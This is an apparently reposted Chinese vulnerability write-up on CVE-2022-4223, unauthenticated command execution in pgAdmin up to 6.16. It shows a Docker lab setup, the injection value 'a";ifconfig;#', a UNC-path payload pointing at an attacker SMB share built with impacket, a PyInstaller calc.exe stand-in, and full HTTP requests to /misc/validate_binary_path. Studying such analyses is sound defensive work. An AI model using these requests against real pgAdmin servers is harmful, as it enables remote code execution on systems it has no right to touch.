文章总结: 本文详细分析了CVE-2022-4223pgAdmin未授权命令执行漏洞。通过审计源码发现/misc/validate_binary_path接口存在命令注入风险,作者分别展示了Linux下利用分号绕过检测执行系统命令,以及Windows下通过UNC路径加载远程恶意文件的方法。文章提供了基于Docker和本地安装的完整复现环境搭建流程,包含HTTP请求数据包及Python验证脚本,有效验证了漏洞的真实性与攻击向量。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全,代码审计,渗透测试
CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞
标准云
蚁景网络安全
2025年12月30日 17:47 湖南
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码
首先从代码层面进行分析
接口 /validate_binary_path 最后调用了 subprocess.getoutput(来执行了命令
这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe 。同时 windows下恶意的exe文件必须是下面几个文件名之一 ‘pg_dump’, ‘pg_dumpall’, ‘pg_restore’, ‘psql’
linux
可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin
docker pull dpage/pgadmin4:6.16
docker run -e '[email protected]' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:6.16
直接构造发送会提示 The CSRF token is missing.
所以我们先请求路由 login
image
POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;
Connection: close
Content-Type: application/json
Content-Length: 33
{"utility_path":"a\";ifconfig;#"}
import os
binary_path = "a\";ifconfig;#"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们简化代码在linux 下执行,最后利用; 分割执行命令
windows
下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe
我们发现同样在 windows 下拼接时是无法利用; 分割执行命令,但是可以通过 UNC path指定攻击者的恶意文件
import os
binary_path = "\\\\192.168.222.1\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们发现通过构造传入参数,我们可以伪造共享地址
windows 下的环境始终无法启动 web 界面,因为环境实在太老了,启动 C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py 各种版本问题,一直没办法启动成功,所以只做理论上的验证
后来我发现安装完成之后,会在界面下提供一个python目录,所以直接选择该python 来启动项目,需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER = ‘0.0.0.0’
使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp
编译恶意的exe文件并放到对应目录
-
• pip install pyinstaller
-
• type execute_calc.py`import subprocess
def execute_calc(): subprocess.call(“calc.exe”)
if name == “main“: execute_calc()`
-
• pyinstaller –onefile execute_calc.py
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=;
Connection: close
Content-Type: application/json
Content-Length: 45
{"utility_path":"\\\\192.168.222.128\\TMP\\"}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网络安全 标准云《CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论